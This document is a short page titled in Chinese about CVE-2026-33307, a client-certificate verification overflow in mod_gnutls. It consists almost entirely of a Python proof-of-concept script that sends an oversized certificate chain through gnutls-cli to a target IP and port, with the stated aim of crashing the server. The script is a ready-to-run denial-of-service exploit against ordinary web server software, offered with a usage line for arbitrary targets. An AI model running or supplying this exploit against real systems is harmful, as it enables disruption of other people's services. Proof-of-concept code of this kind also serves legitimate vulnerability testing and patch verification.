CVE-2026-33307 mod_gnutls客户端证书验证越界漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-33307 (mod_gnutls Buffer Overflow) This script attempts to trigger the vulnerability by sending a TLS ClientHello with a large certificate chain using gnutls-cli or openssl. Note: You need to generate a certificate chain file 'large_chain.pem' containing more certificates than the fixed buffer size in mod_gnutls to trigger the crash. """ import sys import subprocess import os def exploit(target_ip, target_port): # Check if the large chain file exists chain_file = "large_chain.pem" if not os.path.exists(chain_file): print(f"[Error] {chain_file} not found.") print("Please create a certificate chain file with a large number of certificates to test.") return print(f"[*] Attempting to connect to {target_ip}:{target_port} with large certificate chain...") # Using gnutls-cli as it is the native client for mod_gnutls try: # --insecure: Ignore server certificate verification # --x509certfile: The file containing the certificate chain to send cmd = ["gnutls-cli", "--insecure", "-p", str(target_port), "--x509certfile", chain_file, target_ip] # Run the command. If vulnerable, the server (mod_gnutls) should segfault. # The client might also error out, but the goal is to crash the server. result = subprocess.run(cmd, capture_output=True, text=True, timeout=5) print("[*] Request sent.") print("[*] Check the server logs for a segmentation fault or crash.") except FileNotFoundError: print("[Error] gnutls-cli not found. Please install gnutls-bin.") except subprocess.TimeoutExpired: print("[*] Connection timed out (Server might have crashed).") except Exception as e: print(f"[Error] An exception occurred: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_ip> <target_port>") sys.exit(1) exploit(sys.argv[1], sys.argv[2])